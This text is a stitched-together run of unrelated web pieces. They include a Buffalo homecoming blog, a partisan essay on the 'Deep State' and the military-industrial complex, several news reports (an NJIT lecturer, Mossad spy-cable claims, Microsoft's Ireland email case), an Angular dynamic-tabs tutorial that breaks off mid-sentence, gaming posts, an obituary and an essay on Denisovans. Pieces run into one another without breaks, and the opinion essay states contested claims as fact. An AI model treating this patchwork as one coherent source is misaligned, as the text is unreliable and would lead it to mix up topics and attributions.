I saw that beautiful new waterfront. Canalside is stunning. Well-conceived and expertly executed. I sincerely hope it expands and goes on and on. Thank you to Bob for throwing that little to-do in my honor or for whatever reason. Thanks to Mike and Michelle for letting me stay at their house. Safe travels old friend. I am sorry I missed a few people. I kept running into old acquaintances so I figured the serendipity would continue to grace me unabated. Next time!
I drove down Aurora Avenue the day after I arrived. Does everyone do this? Visit their old street whenever they go back home?
The last time I was there, there were new sidewalks and curbs. Some tangible improvements were turning the Winchester district into what I imagined would be the chic new place to buy a cheap home for a young family. However, this time there was some decay. Spray-painted house-numbers on corresponding plastic trash cans. Boarded-up houses. One of these shitholes used to belong to Eddie and Elsie, our next door neighbors. They used to sit in their back yard and pound Screwdrivers all day and night to the hi-fi strains of the Ray Conniff Singers. And sometimes mom would strut on over, and, hours later, waddle on back. Eddie had this blinking thing he did. He’d drink so much that I think the blinking was his means of expressing disbelief that he was still upright.
Next to them were the Platts. Lolly and Bird (her son, beanstalk thin; he taught me to ride a bike) and her daughter Dee Dee. Lolly played pinochle with mom and some of the other girls. I liked her. Her poodle was her true best friend, for all intents and purposes. Suzette. I don’t know when that dog died, but I’ll be shocked if second-hand smoke wasn’t the cause.
And in that same house, in the rear apartment, lived the Christmans. An older couple. In fact, Mrs. Christman was beginning to lose her memory entirely. Occasionally wandering from house to house in search of her own. One Halloween, one of the kids down the street got the idea to play a little trick on Mrs. Christman. She rang their doorbell, and when Mrs. Christman answered, this girl, my age, 10, pronounced, “You’re in my house”.
Mrs. Christman was fooled into believing, by a 10 year old girl, that her house was not her house.
“Where do I live?”
“Oh, come with me. I’ll show you.” and she walked Mrs. Christman half-way down the block and left her there, in the cold West Seneca night. Slippers and gown.
I’d like to tell you that we, the ones trailing behind all this, immediately walked her back to safety like many of us had done before in more benign circumstances. One of us did, I know, but I don’t think it was me.
Anyhow, this past Monday, I sat there for about a half-hour looking at that door.
I know who the girl was who did this thing, but I doubt she’d remember. She seems like she’s evolved into a fine, independent woman with her own goals, misfortunes and mistakes. I hope the memory of that night haunts her like it haunted me throughout my vacation, in the silences between reunions with the people I love and have loved for decades now.
The food in Buffalo is so much better. The GAS STATION pizza is better than the shit here. The houses alternate with the local businesses, as it should be. The strict zoning laws here in Hillsborough make it difficult to get neighbors together naturally. There’s nowhere to go if you don’t have a car, which makes it a class system; passive gentrification. I was lucky to have lived in and around Elmwood Avenue. Walking places, taking a bus to work, seeing my neighbors in and around town as soon as I set out.
But the schools suck there, and the taxes are insane. A useless mayor, and a terminally ingrained ennui that seems so reluctant to dissipate. I can’t go back there. If I had no family and a great job, I’d go back in a second. I miss Buffalo.
AdvertisementsAuthored by James George Jatras via The Strategic Culture Foundation,
As the drumbeat intensifies for what might turn out to be anything but a «splendid little war» against North Korea, it is appropriate to take stock of the ongoing, seemingly successful effort to strip President Donald Trump of his authority to make any foreign and national security policies that fly against the wishes of the so-called Military-Industrial Complex, or MIC. A Google search for «Military-Industrial Complex» (in quotation marks) with «Trump» yields almost 450,000 hits from all sources and almost 26,000 from just news sources.
During the 2016 campaign and into the initial weeks of his administration, Trump was sometimes described as a threat to the MIC. But over time, with the appointment to his administration of more generals and establishment figures (including some allegedly tied to George Soros) while purging Trump loyalists, it’s no surprise that his policies increasingly seem less a departure from those of previous administrations than a continuation of them (for example, welcoming Montenegro into NATO). Some now say that Trump is the MIC’s best friend and maybe always was.
There are those who deny that the MIC exists at all. One self-described conservative blogger writing in the pro-war, pro-intervention, and mostly neoconservative National Review refers to the very existence of the MIC as a «myth» peddled by the «conspiracy-minded». Sure, it is conceded, it was appropriate to refer to such a concept back when President Dwight Eisenhower warned against it in 1961 upon his impending departure from the White House, because back then the military consumed some 10 percent of the American GDP. But now, when the percentage is nominally just 3.2 percent, less than $600 billion per year, the term supposedly is inapplicable. (There are those who argue that the real cost annually is over $1 trillion, but why quibble.)
There is a germ of truth contained in the reference to money. Compared to the «wars of choice» that have characterized US global behavior since the end of the Cold War with the Soviet Union, the MIC of the 1950s and 1960s was relatively less likely to embark upon foreign military escapades. The existence of a world-class nuclear-armed foe in the form of the USSR moderated tendencies toward adventurism. The most serious «combat» the classic MIC preferred to engage in was inter-service battles for budgetary bounty. Reportedly, once General Curtis LeMay, head of the Air Force’s Strategic Air Command, was briefed by a junior officer who repeatedly referred to the USSR as «the enemy». LeMay supposedly interrupted to correct him: «Young man, the Soviet Union is our adversary. Our enemy is the Navy».
But today the «Military-Industrial Complex» is an archaic term that doesn’t begin to describe the complexity and influence of current structures. Indeed, even in Eisenhower’s day the MIC was more than a simple duplex consisting of the Pentagon and military contractors but also included an essential third leg: the Congressional committees that provide the money constituting the MIC’s lifeblood. (Reportedly, an earlier draft of the speech used the term «military-industrial-Congressional» complex, a fuller description of what has come to be called the «Iron Triangle». Asked about the omission from the final text, Eisenhower is said to have answered: «It was more than enough to take on the military and private industry. I couldn't take on the Congress as well».)
Not only did the Iron Triangle continue to expand during the Cold War, when production of military hardware established itself as the money-making nucleus of the MIC, it swelled to even greater proportions after the designated enemy, the USSR, went out of business in 1991. While for one brief shining moment there was naïve discussion of a «Peace Dividend» that would provide relief for American taxpayers from whose shoulders the burden of a «long twilight struggle» against communism (in John Kennedy’s phrase) had been lifted, that notion faded quickly. Instead, not only did the «hard» side of the MIC maintain itself – first in Iraq to fight «naked aggression» by Saddam Hussein in Kuwait, then in the Balkans in the 1990s as part of NATO’s determination to go «out of area or out of business» – it then branched out into «soft» areas of control.
In the past quarter century what began as Eisenhower’s MIC has become a multifaceted, hybrid entity encompassing an astonishing range and depth in both the public and private sectors. To a large extent, the contours of what former Congressional staffer Mike Lofgren has called the «Deep State» (which largely through Lofgren’s efforts has since become a household word) are those of the incestuous «expert» community that dominates mainstream media thinking but extend beyond it to include elements of all three branches of the US government, private business (especially the financial industry, government contractors, information technology), think tanks, NGOs (many of which are anything but «nongovernmental» but are funded by US official agencies and those of our «allies», satellites, and clients), higher education (especially the recipients of massive research grants from the Department of Defense), and the two political parties and their campaign operatives, plus the multitude of lobbyists, campaign consultants, pollsters, spin doctors, media wizards, lawyers, and other functionaries.
Comparing the MIC of 1961 to its descendant, the Deep State of today, is like comparing a horse and buggy to a Formula One racecar. The Deep State’s principals enjoy power and privileges that would have brought a blush to the cheeks of members of the old Soviet nomenklatura, of which it is reminiscent.
Indeed, the Deep State’s creepy resemblance to its late Soviet counterpart is manifest in its budding venture into the realm of seeking to brand domestic American dissent as treason, to the hearty approval of the loony Left. As described by Daniel McAdams of the Ron Paul Institute for Peace and Prosperity:
‘The government would never compile, analyze, and target private news outlets just because they deviate from the official neocon Washington line. ‘Perhaps not yet. But some US government funded «non-governmental» organizations are already doing just that. ‘The German Marshall Fund has less to do with Germany these days than it did when founded after WWII as a show of appreciation for the US Marshall Fund. These days it’s mostly funded by the US government, allied governments (especially in the Russia-hating Baltics), neocon grant-making foundations, and the military-industrial complex. Through its strangely Soviet-sounding »Alliance for Securing Democracy» project it has launched something called «Hamilton 68: A New Tool to Track Russian Disinformation on Twitter». ‘This project monitors 600 Twitter accounts that the German Marshall Fund claims are «accounts that are involved in promoting Russian influence and disinformation goals». Which accounts does this monitor? It won’t tell us. How does it choose which ones to monitor? It won’t tell us. To what end? Frighteningly, it won’t tell us. ‘How ironic that something called the German Marshall Fund is bringing Stasi-like tactics to silence alternative media and opinions in the United States!’
The Soviet nomenklatura gave up without a fight. It’s unlikely its American counterpart will. Whether Trump in the end decides to fight or to seek accommodation is still under debate. Some suggest that by signing the recent bill imposing sanctions on Russia, Iran, and North Korea, he has already surrendered. But either way, war or not, things are going to get very rocky.NEWARK — A lecturer at New Jersey Institute of Technology says the school is trying to "illegally" fire him for a video that appears to show him predicting the return of concentration camps, and a time when Adolf Hitler is remembered as a "great European leader."
The video of Jason Reza Jorjani was shot by a student in Sweden who went undercover with the alt-right for a year as part of a project for the group Hope Not Hate, according to an op-ed in the New York Times. Jorjani described that article as libelous on his blog.
In the video, also published by the Times, Jorjani said he believes the alt-right will continue to grow in the coming years, especially in Europe. He said the migrant crisis in Europe is "gonna end with concentration camps and expulsions and war... at the cost of a few hundred million people."
"We will have a Europe, in 2050, where the bank notes have Adolf Hitler, Napoleon Bonaparte, Alexander the Great," he's heard saying in the video. "And Hitler will be seen like that: like Napoleon, like Alexander, not like some weird monster who is unique in his own category — no, he is just going to be seen as a great European leader."
Jorjani is described as one of the founders of the AltRight Corporation, which describes itself as "an organization established to foster cooperation and coordination among alt-right groups in Europe and North America."
He also said in the video his group had contacts in the administration of administration of President Donald Trump.
Calling the article in the Times "trash" on his blog, Jorjani said the video "was obtained surreptitiously and under false pretenses."
"It has been deceptively edited to make it appear as if I am advocating genocidal extreme right-wing policies," he said. "My nightmarish prediction of a future that would follow from Western policymakers' failure to address the Muslim migrant crisis in the present has been taken out of context and made to appear as if it is advocacy for 'concentration camps and expulsions of war... at the cost of a few hundred million people.'"
He told New Jersey 101.5 in an email he would respond to a request for comment soon, but saod the school was planning to "illegally" fire him and "I've got too much going on right now."
Jorjani said in his blog the way the video was portrayed was "libel — or worse," and that he did not believe the story had clarified his comments "in a responsible fashion."
Jorjani is listed on NJIT's website as being a lecturer in the humanities department.
"NJIT is a university that embraces diversity and sees it as a source of strength," the school said in a statement sent before Jorjani's message claiming he'd be fired was received.
A later statement from the school called the statements Jorjani made in the video "antithetical to our institution's core values."
While Jorjani had not been fired, the statement said he had been "placed on administrative leave" pending "a review of this and related matters."
More From New Jersey 101.5
Contact reporter Adam Hochron at 609-359-5326 or [email protected] someone thought this was a good idea.
Via Fox News:
A Pennsylvania high school marching band is raising eyebrows with a halftime performance that commemorates the Russian revolution, complete with red flags, olive military-style uniforms, and giant hammers and sickles.
“St. Petersburg: 1917” is the theme for the New Oxford High School Marching Band. Ironically, the school’s athletic teams are called the Colonials and their colors are red, white and blue. The band’s website features a picture of the group with students holding a hammer and sickle.
“There is no reason for Americans to celebrate the Russian revolution,” said one irate parent who alerted Fox News. “I am sure the millions who died under Communism would not see the joy of celebrating the Russian revolution by a school 10 miles from Gettysburg.”
The parent, who asked not to be identified, attended a football last Friday night with his children. He said he was shocked by what he saw.
“It was Glee meets the Russian Revolution,” he told Fox News. “I’m not kidding you. They had giant hammers and sickles and they were waving them around.”
Keep reading…ADVOCATES FOR bicyclists and pedestrians argue that District law puts them at a disadvantage when they are hit by automobiles. The city operates with an outdated standard of contributory negligence, they say, which makes it hard, sometimes impossible, for vulnerable roadway users to seek redress for injuries and damages caused by collisions with cars. They may be right about the need for change, but the D.C. Council should not carve a special exception in the law for one class of citizens. Any change should be across the board, and it should come only after careful study.
Legislation pending before the council would exempt bikers and pedestrians from the doctrine of contributory negligence that governs tort claims in the District. This legal defense essentially holds that plaintiffs cannot receive compensation if their actions contributed to the damages incurred, even if the other party also was at fault.
Contributory negligence has been all but eliminated nationally. Only four states and the District have such a system, while 46 states opt for a standard of comparative negligence, which bases compensation on an apportionment of responsibility. Advocates argue that is a fairer way to get redress for people who suffer harm. If so, why apply it piecemeal, advantaging a special class of citizens?
Some people argue, meanwhile, that a switch would have unintended consequences and hidden costs. Trial lawyers, for example, are concerned that it would hamper the ability of plaintiffs to be fully compensated when multiple defendants are at fault but some have more resources than others. Other considerations include a possible impact on insurance rates and the fact that neighboring Maryland and Virginia are two of the four states that use contributory negligence.
When the council’s judiciary committee meets Wednesday, it should defer action on the Bicycle and Motor Vehicle Collision Recovery Amendment Act of 2014. Instead, it should undertake a more comprehensive review of the law. In the meantime, debate over the legislation has pointed to problems that could be fixed without legislation as the city strives to be friendly to cars, bikes and pedestrians. These include how accidents involving cyclists are investigated and the need to educate both drivers and bikers about roadway safety.A paper on Mossad reportedly drafted by the South African State Security Agency (SSA) claims that Israel for decades worked to artificially create a drought in Egypt, by draining the River Nile with a water-absorbing plant.
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The report comes as Al-Jazeera and the Guardian continued Wednesday to release purported spy cables, which again raised startling claims about Israeli intelligence.
“Towards this end Israel’s Ministry of Science and Technology conducted extensive experiments, and eventually created a type of plant that flourishes on the surface or the banks of the Nile and that absorbs such large quantities of water as to significantly reduce the volume of water that reaches Egypt,” the Guardian quoted. The newspaper noted that the allegation could be false and South Africa "guilty of naivety", but if true, "then Mossad is guilty of reprehensible tactics".
The Nile in Sudan (Photo: AFP)
Wednesday's disclosures also included a Russian document alleging that al-Qaeda had set up a facility to produce biological weapons in Algeria, but later abandoned it.
Related articles:
The Guardian's report is the latest in a series of leaks that have been published this week, many of which involved Mossad. It was revealed that the SSA had extensively monitored an Israeli spy, that it had received a Mossad assessment in Iran that contradicted Prime Minister Benjamin Netanyahu's public statements, and that it believed Israel's flagship El Al airline was used as a front for clandestine activities.
The SSA also circulated a report in 2009 accusing Israel of using espionage to pursue its interests in Africa, said the Guardian, such as “working assiduously to encircle and isolate Sudan from the outside, and to fuel insurrection inside Sudan”.
The SSA further asserted that Israel had a longstanding desire to exploit Africa's resources and “plans to appropriate African diamonds and process them in Israel".
An additional claim in the report was that Foreign Minister Avigdor Lieberman was “facilitating contracts for Israelis to train various militias” during a 2009 diplomatic visit to Africa.
Lieberman during a diplomatic visit to Ethiopia in 2009 (Photo: Foreign Ministry)
The Guardian also cited a Mossad paper sent to the SSA that warned of an attempt to deliver yellowcake, needed to refine uranium, to Iran from South Africa.
Yet another report said American intelligence "seems to be desperate to make inroads into Hamas in Gaza" and may have hoped for South African assistance. The cables also stated that former Mossad chief Meir Dagan said Palestinian President Mahmoud Abbas was concerned about international acceptance of a UN inquiry into alleged Israeli war crimes, which could “play into the hands of Hamas and weaken his position”.
Pretoria has become a major hub for global espionage, the Guardian declared, serving as a gateway into an Africa that is increasingly at the center of international power struggles.The purpose of this article is to learn about the concept of dynamic components and template references in Angular by building a dynamic tab component. We will learn about ComponentFactoryResolver, ViewContainerRef, ngTemplateOutlet and ngTemplateOutletContext.
Contents are based on Angular version >=4
Update for Angular version 5: I just upgraded the article to match Angular version 5. You need to change ngOutletContext to ngTemplateOutletContext. Here’s a very helpful app for upgrading btw: I just upgraded the article to match Angular version 5. You need to changeto. Here’s a very helpful app for upgrading btw: Angular Update Guide
Egghead.io - Video Course
Learn about dynamic components in my newest Egghead.io video course. Check it out now:
The setup
This article is based on a previous one I’ve written where I built a tab component by leveraging Angular’s @ContentChildren and content projection. For a better understanding of this article here, I suggest reading that one first:
Learning Angular: Creating a tabs component A follow up on thoughtram's excellent article on creating a tabs components with Angular /blog/2016/02/learning-ng2-creating-tab-component/
Great, to get a quick overview, our tab component API currently looks as follows.
< my-tabs > < my-tab tabTitle = "Tab 1" > Tab 1 Content </ my-tab > < my-tab tabTitle = "Tab 2" > Tab 2 Content </ my-tab > </ my-tabs >
As you can see, it is already possible to define tabs in a static manner, by using the my-tab component placed inside the <my-tabs>. We now want to extend this API in such a way that allows us to dynamically open new tab pages based on the user interaction. Assume for example that we have a first statically defined tab which contains a list of people.
Our setup: tab with people list
Whenever we click the “Add new person” or “edit” button beneath an existing record, we want the editing to take place in a separate tab pages that gets added dynamically.
Our setup: editing a person from the list in a dedicated tab
TL;DR - Gimme a running code example!
Impatient? Jump to the end of the article for a running example of what we are building step by step in this article. Have fun!
Desired API for our dynamic tabs
So how does the API of our dynamic tabs look like. First, we need to be able to define the content of our dynamic tabs. We do this in the view of our AppComponent where we also have our <my-tabs> component. To define the so-called template of our dynamic tab we want to display, Angular gives us the <ng-template> tag.
< ng-template > Hi, I'm the content of a dynamic tab. </ ng-template >
So far so good. Remember the example we wanna build? So whenever the user clicks on that “edit” or “Add new person” button, obviously some handler in our component code is triggered. Inside there, we want to be able to invoke the creation of the new tab, something like this:
@ Component ({...}) export class AppComponent {... onEditPerson ( person ) { this. tabsComponent. openTab ( `Editing ${ person. name } `, this. editPersonTemplate, person,... ); } }
That’s it for the API we wanna have. Let’s continue now by digging deeper into the code and learn how the tabsComponent.openTab(…) function is implemented.
Reference elements from the view
As you may have noticed, in our onEditPerson(…) function we reference two parts which actually origin from the AppComponent view template: this.tabsComponent and also this.editPersonTemplate.
<!-- AppComponent view template -->... < my-tabs >... </ my-tabs > < ng-template # personEdit >... </ ng-template >
Note that we added a template variable to our <ng-template> from before. Within our AppComponent we can now reference our tabs component ( <my-tabs> ) as well as the ng-template by using Angular’s @ViewChild decorator.
import { ViewChild } from '@angular/core' ; import { TabsComponent } from './tabs.component' ; @ Component ({...}) class AppComponent { @ ViewChild ( TabsComponent ) tabsComponent ; @ ViewChild ( 'personEdit' ) editPersonTemplate ; onEditPerson ( person ) {... } }
We grab the template by its name which we defined in the view, namely “personEdit”, while we can reference the TabsComponent directly by its type, which is obviously much more convenient.
Great, we now have all necessary variables to be passed to our openTab(...) function.
Define an Anchor point
Our plan is to dynamically inject new TabComponent instances into the TabsComponent. To do so we first of all have to define a region in our tab component where to place our dynamic tab pages. Currently our statically define ones are being loaded in via Angular’s content projection mechanism.
<!-- TabsComponent view template --> < ul class = "nav nav-tabs" > <!-- nav tab headers are generated here --> </ ul > < ng-content ></ ng-content >
The static tabs get “projected” into the <ng-content></ng-content> section and referenced in the code via the @ContentChildren. For more details read the according article I wrote a while back.
Note: we cannot reuse the same @ContentChildren mechanism because it only works for projected content which has to happen statically. Our tabs however are created dynamically on the fly, remember?
Similarly, we need to create a dedicated anchor point for our dynamic tab components.
<!-- TabsComponent view template --> < ul... >... </ ul > < ng-content ></ ng-content > < ng-template dynamic-tabs ></ ng-template >
To do so I’m using an <ng-template> with a special directive attached to it: dynamic-tabs. Our so-called anchor directive is very simple:
import { Directive, ViewContainerRef } from '@angular/core' ; @ Directive ({ selector : '[dynamic-tabs]' }) export class DynamicTabsDirective { constructor ( public viewContainer : ViewContainerRef ){} }
We only need this one for the purpose of getting hold of the ViewContainerRef later. By injecting it in the constructor of our directive and by using the public modifier, we can later simply access it through that viewContainer variable.
Alternative: use a template variable as anchor
Instead of creating a dedicated anchor directive there is also the possibility to use a simple template variable and get its according view container via the @ViewChild decorator.
<!-- TabsComponent view template --> < ul... >... </ ul > < ng-content ></ ng-content > < ng-template # container ></ ng-template >
In the TabsComponent class we then grab the view container of #container as follows.
@ Component ({...}) export class TabsComponent {... @ ViewChild ( 'container', { read : ViewContainerRef }) dynamicTabPlaceholder ;... }
dynamicTabPlaceholder directly references the ViewContainerRef instance which we can use right away.
Both approaches can be used as there are no major advantages or disadvantages. In this article we will make use of a dedicated anchor directive.
Dynamically instantiate the Tab component
Remember, each of our tab pages inside our tabs component is defined using the <my-tab> component. Normally the tab is defined within the template of some component like
< my-tabs > < my-tab [ tabTitle ]=".." > The content </ my-tab > </ my-tabs >
However, in our scenario we want to instantiate the <my-tab> in our code dynamically and set the according properties of it. More specifically we instantiate the underlying component class TabComponent. For that purpose we need to get hold of a component factory matching our TabComponent. It’s as simple as injecting the ComponentFactoryResolver and then invoking its resolveComponentFactory(…) function passing in the type of component we want to instantiate: the TabComponent.
import { ComponentFactoryResolver } from '@angular/core' ; import { TabComponent } from './tab.component' ; @ Component ({...}) export class TabsComponent {... constructor ( private _componentFactoryResolver : ComponentFactoryResolver ) {} openTab (...) { let componentFactory = this. _componentFactoryResolver. resolveComponentFactory ( TabComponent ); } }
Next, we need to get a ViewContainerRef which is where our dynamically instantiated component will be placed. We can get that view container from our anchor component as we just discussed (or via the alternative approach of using a template variable).
import { DynamicTabsDirective } from './dynamic-tabs.directive' ; @ Component ({... template : `... <ng-template dynamic-tabs></ng-template> ` }) export class TabsComponent { @ ViewChild ( DynamicTabDirective ) dynamicTabPlaceholder ; openTab (...) { let componentFactory = this. _componentFactoryResolver. resolveComponentFactory ( TabComponent ); // get the viewcontainer let viewContainerRef = this. dynamicTabPlaceholder. viewContainer ; } }
Once we have the component factory and the view container reference, we can finally instantiate our component by using the createComponent(…) function on the view container. Having the instance of the TabComponent we can then set its according properties.
openTab ( title, template, data, isCloseable = false ) { let componentFactory = this. _componentFactoryResolver. resolveComponentFactory ( TabComponent ); // get the viewcontainer let viewContainerRef = this. dynamicTabPlaceholder. viewContainer ; // instantiate the component let componentRef = viewContainerRef. createComponent ( componentFactory ); let instance : TabComponent = componentRef. instance as TabComponent ; // set the props instance. title = title ; instance. template = template ; instance. dataContext = data ; instance. isCloseable = isCloseable ;... }
Render the dynamic template with NgTemplateOutlet
Last but not least we need to render the template in our dynamically created tab page. Remember, in our openTab(…) function we did pass in the template reference this.editPersonTemplate …
@ Component ({...}) export class AppComponent {... @ ViewChild ( 'personEdit' ) editPersonTemplate ; openTab (...) { this. tabsComponent. openTab ( `Editing ${ person. name } `, this. editPersonTemplate, person,... ); } }
…which we have defined in our component view before:
< ng-template # personEdit >... </ ng-template >
You may have noticed that in the implementation of the openTab(…) function we pass that template along to the TabComponent :
openTab ( title, template, data, isCloseable = false ) {... let componentRef = viewContainerRef. createComponent ( componentFactory ); let instance : TabComponent = componentRef. instance as TabComponent ; // set the props... instance. template = template ;... }
Inside there we can now render the template into the view of our TabComponent. Currently the TabComponent is defined as follows:
@ Component ({ selector :'my-tab', template : ` <div [hidden]="!active"...> <ng-content></ng-content> </div> ` }) export class TabComponent { @ Input ( 'tabTitle' ) title : string ; @ Input () active = false ;... }
Quite simple actually. It’s a container with a couple of properties, the most prominent one being whether the tab is active or now which in turn shows or hides its content.
To dynamically render the passed in template we use the <ng-container> and ngTemplateOutlet :
@ Component ({ selector :'my-tab', template : ` <div [hidden]="!active"...> <ng-content></ng-content> <ng-container *ngIf="template" [ngTemplateOutlet]="template"> </ng-container> </div> ` }) export class TabComponent {... @ Input () template ;... }
Associate data to dynamic templates with NgTemplateOutletContext
Obviously a template without some dynamic data is quite boring. In our example, we need to be able to pass in the person object we’re editing. So let’s take a closer look at our <ng-template> definition:
< ng-template # personEdit > < person-edit [ person ]=" person " ( savePerson )=" onPersonFormSubmit ($ event )" > </ person-edit > </ ng-template >
Inside the template the <person-edit> component takes care of editing our person record by creating a proper form with bindings, events etc.
Note: this is not scope of this article, but feel free to check out its implementation in the linked Plunker
The person-edit component
The component takes an input binding [person] and has an outbound event (savePerson). Let’s first look at the simpler outbound one. We can directly hook it to the AppComponent code where our <ng-template> is defined and just implement the event as we normally would. Templates can directly bind to the component where they are defined, although they may end up being rendered inside another component, just as in our case inside the TabComponent. Think about it, this is really powerful.
But what about our input binding [person]="person"? We could simply create a member variable person inside our AppComponent and assign it whenever we click on some person to edit. Sure, fair enough. But that wouldn’t allow us to edit multiple people simultaneously, such as:
Editing in multiple tabs at the same time
Note, we have a tab open editing the person “Juri” while at the same time creating a new person record. As such, each template needs to get its own specific data. Luckily enough, there’s a way to do so.
First of all we need to define the variable on our template using the let-person="person" syntax:
< ng-template let-person = "person" # personEdit > < person-edit [ person ]=" person " ( savePerson )=" onPersonFormSubmit ($ event )" > </ person-edit > </ ng-template >
Next, within our TabComponent we need to bind the data using ngTemplateOutletContext.
@ Component ({ selector :'my-tab', template : ` <div [hidden]="!active"...> <ng-content></ng-content> <ng-container *ngIf="template" [ngTemplateOutlet]="template" [ngTemplateOutletContext]="{ person: dataContext }"> </ng-container> </div> ` }) export class TabComponent {... @ Input () dataContext ;... }
Note, |
'Freedom' as it depicts an American P-51 in ground strike duty. The second example is from user armoureddanger, who has plenty of wallpapers to offer. In this recent one, he depicts a German Bf 109 in an epic head-on pose! There is a lot more to find!
Missions
And here's something a bit more exotic! Many of you might not even know that it's already possible to create your own missions in War Thunder, to play them and share them with your friends. Given, it requires a bit of effort to get into - but after you've mastered the CDK, you'll be able to create cool scenarios like the two we want to introduce to you briefly here. The first one is quite extraordinary and unusual, made by Thunder421. In this epic encounter, two teams of 100 powerful KV-2 tanks each battle it out on the open fields. Bring some processing power! The second one is almost like a Test Drive on steroids! Created by _BoltGunM43_, this virtual training ground offers you everything you need to test your vehicles in almost every aspect. A lot of fun, and a lot of effort! Good job!
We hope you've enjoyed our selection of featured items and don't forget to leave a like and comment for the creators if you liked their content. There's a lot more to see on War Thunder Live, so if you are into Community created stuff, it's made for you! See you on the battlefield!
The War Thunder TeamStarTrek.com is saddened to report the passing of Kim Hamilton, who died on September 16, just four days after her 68th birthday. The veteran actress played Songi, Gamelan V's government chairman, in the fourth-season Star Trek: The Next Generation episode, "Final Mission." Hamilton's many film and television credits spanned from the 1950's to 2008 and included Odds Against Tomorrow, The Twilight Zone, Leave It to Beaver, General Hospital, All in the Family, Mannix, Vega$, Law & Order, The Practice and Private Practice. Her output was particularly impressive given that, in the 1950s and 1960s, there were very limited opportunities for actors of color.
Hamilton was predeceased in December, 2000, by her husband, Hogan's Heroes star Werner Klemperer. According to a longtime friend of hers, she leaves behind a daughter, four grandchildren and three great-grandchildren. StarTrek.com extends our condolences to Hamilton's family, friends and fans.Here the suggestion for ravaging time :
when you are in effect of your spell or manifestation that alter your time like time stop, you can take mythic power for attacking creature in frozen time. Creature in frozen time are considered helpless. You take two mythic power and you can make as swift action, three and make a standard action, four a full round action and five a attack action that recquire a entire round. If your spell or manifestation can permit other creature to move with you like mythic time stop, you can take mythic power for ally for the attack action again ennemis.
A 10 tiers, Each ally can once per days take this own mythic power when you cast or manifest a equivalent of mythic time stop but ONLY this own attack, not ohthers ally attack action.
You can take other item from other creature when you are in ravaging time but take mythic power equivalent for depending of action you make for stealing object for ennemis.Privacy advocates, especially those outside the U.S., can rest a little easier now. A federal court has rebuked the U.S. government’s attempt to access emails stored on a Microsoft server in Ireland.
But the legal battle may be far from over. Thursday’s ruling could affect how the U.S. conducts surveillance over suspected criminals and terrorists overseas, so expect the government to appeal, said Roy Hadley, a lawyer at Thompson Hine who studies cybersecurity issues.
“There’s a fine line between privacy and national security,” he said. “And it’s a difficult line to walk.”
So far, the U.S. Department of Justice is remaining mum on what it might do. “We are disappointed with the court’s decision and are considering our options,” the department said on Thursday, without elaborating.
Hadley thinks the government will probably appeal the decision to another circuit court or the Supreme Court. It might also explore other legal means to force Microsoft to quickly hand over the emails.
“The U.S. government will always try to be in a position to gain access to that data,” he said.
Thursday’s ruling deals with a case that goes back to December 2013, when the U.S. government obtained a search warrant for emails belonging to Microsoft user who was under investigation. The subject’s identity hasn’t been revealed, but some news reports have said it was not a U.S. citizen.
The emails reside on a Microsoft server in Ireland. Microsoft objected to the search warrant and argued that the U.S. had no authority to conduct email searches in other countries.
On Thursday, Microsoft hailed the ruling as a win for privacy rights and said dozens of other tech and media companies have supported its legal battle.
The court’s decision “ensures that people’s privacy rights are protected by the laws of their own countries,” Microsoft said in a statement.
Craig Newman, a privacy attorney at Patterson Belknap Webb & Tyler, said the tech industry is no doubt breathing a sigh of relief. Many U.S. companies, including Microsoft, have data centers around the world and serve millions of foreign customers.
Handing over any of their data to U.S. authorities could violate the privacy laws of those countries and hurt business for the companies that store it, he said.
“The tech companies have really been put in an uncomfortable position,” he said.
Part of the problem is that some U.S. privacy laws may be outdated. At the center of Microsoft’s legal battle has been the Stored Communications Act, which the U.S. government argued gave it the authority to use a warrant to collect the emails.
The judges who ruled Thursday didn’t agree. The law was enacted in 1986, long before the mainstream Internet or any remote computing, wrote judge Gerard Lynch.
To avoid these legal disputes with the tech industry, Congress should modernize laws on data privacy and clearly define them, Newman said.
“You’re dealing with analog rules in a world that has totally changed,” he said. “Congress needs to roll up their sleeves and figure out the right balance.”Image caption The Denisovans are known from one location in Siberia, but they probably ranged more widely
For over 150 years the name "Neanderthal" has been household property.
And it has become associated with dim-witted, ape-like brutes that scurried across vast ice-covered wastes waiting for the day when our ancestors - the intelligent and modern humans - would wipe them from the face of the Earth.
Now, we have discovered the Denisovans and I wonder what image we will choose to give them.
But there are already hints that suggest that the status quo will prevail and we will find reasons for making these people a little bit less clever than our direct ancestors.
The irony is that the scientific community is going to have to come round to the acceptance that the Denisovans and the Neanderthals also belonged to the species which we call Homo sapiens.
The Denisovans, for that is how we must know them (for now as the authors of a recent paper in Nature have preferred not to give them a scientific name), lived in southern Siberia.
We do not know how much further their range extended but it seems highly unlikely that they were confined to this region alone.
The site in which their remains were found seems to have been occupied over two periods, one older than 50,000 years ago and the other between 30,000 and 23,000 years ago.
It seems that it is not possible at this stage to determine whether the Denisovans occupied the site in one or other period, or both. Either way they must have lived close to Neanderthals or our own ancestors, depending on which time period they lived in.
An earlier study already showed that Neanderthals contributed a percentage of their genome to some of us, right across Eurasia from the west to the extreme south-east.
The present study shows that the Denisovans were closer genetically to the Neanderthals than to us but that we all shared a remote common ancestor.
Reality check
The Denisovans do not seem to have contributed much to the European gene pool but their genes made it all the way into that of the Melanesians.
Put together, this evidence shows us that humans formed an interwoven network of populations with varying degrees of gene flow between them. Some humans may have looked quite different from each other, revealing a combination of adaptation to local environments and genetic drift, but it does seem as though those differences were not large enough to prevent genetic interchange.
I have suggested that humans, at any point in time in our evolutionary history, behaved as a polytypic species; they consisted of an array of regional populations clustered into geographical races which had not achieved independent species status - they could exchange genes when they met.
And this is not a new idea either. The great evolutionary biologist Ernst Mayr proposed it for the human species as far back as 1950! An obsession with turning each new fossil into a distinct species has clouded the biological reality that we are now retrieving.
One aspect of the findings of this recent study shows that the Neanderthals experienced a severe genetic bottleneck in the course of their history which means that their overall genetic diversity was much lower than that of present-day humans.
The Denisovans seem to have escaped the bottleneck too. Now, the interesting point for me is that the bottleneck, affecting all Neanderthals, was an ancient one.
It predated the arrival of modern humans into Eurasia and thus must have been the result of an ecological impact and not competition.
This conclusion is exactly what I have been predicting over the past decade, that Neanderthal populations were in decline for a long time and well before the arrival of modern humans.
Food for thought
Almost concurrently with the Denisova findings, a paper published in the US Proceedings of the National Academy of Sciences (PNAS) journal looked at an unusual case - a family group of Neanderthals who lived in northern Spain and whose remains were preserved.
These Neanderthals from El Sidrón have provided DNA that reveals that the males were very similar to each other but the females were not. The conclusion is that Neanderthals were patrilocal - the males stayed put while the females wandered between clans and tribes.
Image caption Researchers have retrieved DNA from a Neanderthal family found at El Sidron cave (pictured)
